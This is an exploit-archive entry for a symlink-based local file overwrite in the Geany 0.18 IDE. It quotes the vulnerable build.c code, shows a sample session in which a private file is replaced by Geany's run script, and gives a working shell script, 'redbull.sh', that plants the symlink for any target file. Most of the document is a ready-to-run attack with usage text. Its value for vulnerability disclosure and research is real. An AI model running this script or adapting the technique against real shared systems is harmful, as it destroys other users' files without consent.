Geany .18 Local File Overwrite

==============================
Geany .18 Local File Overwrite
==============================


# Title: Geany .18 Local File Overwrite
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Jeremy Brown
# Published: 2009-10-06
# Verified: yes

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#!/bin/sh
# redbull.sh
# AKA
# Geany 0.18 Local File Overwrite Exploit
#
# *********************************************************************************************************
# I was checking out some IDEs and decided on Geany. Nice interface, good features, but it doesn't defend
# against symbolic links when writing the run script used for executing files after compiliation.
#
# geany-0.18/src/build.c
#
# LINES 981-1010
#
# static gboolean build_create_shellscript(const gchar *fname, const gchar *cmd, gboolean autoclose)
# {
#   FILE *fp;
#   gchar *str;
# #ifdef G_OS_WIN32
#   gchar *expanded_cmd;
# #endif
#
#   fp = g_fopen(fname, "w");
#   if (! fp)
#       return FALSE;
# #ifdef G_OS_WIN32
#   /* Expand environment variables like %blah%. */
#   expanded_cmd = win32_expand_environment_variables(cmd);
#   str = g_strdup_printf("%s\n\n%s\ndel \"%%0\"\n\npause\n", expanded_cmd, (autoclose) ? "" : "pause");
#   g_free(expanded_cmd);
# #else
#   str = g_strdup_printf(
#       "#!/bin/sh\n\n%s\n\necho \"\n\n------------------\n(program exited with code: $?)\" \
#       \n\n%s\n", cmd, (autoclose) ? "" :
#       "\necho \"Press return to continue\"\n#to be more compatible with shells like dash\ndummy_var=\"\"\nread dummy_var");
# #endif
#
#   fputs(str, fp);
#   g_free(str);
#
#   fclose(fp);
#
#   return TRUE;
# }
#
# Not a big deal since the script is generated in the working directory that Geany is executing the compiled
# program, but, none the less exploitable if the attacker can create a symbolic link in the working directory.
#
# [email protected]:~$ ls -al important
# -rwx------ 1 linux linux 5 2009-10-06 14:10 important
# [email protected]:~$ cat important
# *data*
# [email protected]:~$
#
# [email protected]:~$ sh redbull.sh /tmp /home/linux/important
#
# Geany 0.18 Local File Overwrite Exploit
#
# [*] Creating symbolic link from /tmp/geany_run_script.sh to /home/linux/important...
#
# [*] /home/linux/important should be overwritten when Geany executes a program in /tmp
#
# [email protected]:~$
#
# ***** Geany executes a program in /tmp *****
#
# [email protected]:~$ cat important
# #!/bin/sh
#
# rm $0
#
# "./c"
#
# echo "
#
# ------------------
# (program exited with code: $?)"      
#
#
# echo "Press return to continue"
# #to be more compatible with shells like dash
# dummy_var=""
# read dummy_var
# [email protected]:~$
#
# Due to an Ubuntu's bug reporting system handler's possible lack of zeal (they argued overwriting the
# instruction pointer in a program when parsing a file format isn't a security issue because the program
# also interepts shell commands), I'm not very excited to try and work with them too much these days...
# *********************************************************************************************************
# redbull.sh
 
FILE=geany_run_script.sh
 
if [ "$2" = "" ]; then
echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "Usage:   $0 </target/working/dir> <file.to.overwrite>"
echo "Example: $0 /tmp /home/user/important"
echo
exit
fi
 
echo
echo "Geany 0.18 Local File Overwrite Exploit"
echo
echo "[*] Creating symbolic link from $1/$FILE to $2..."
ln -s $2 $1/$FILE
echo
echo "[*] $2 should be overwritten when Geany executes a program in $1"
echo
exit



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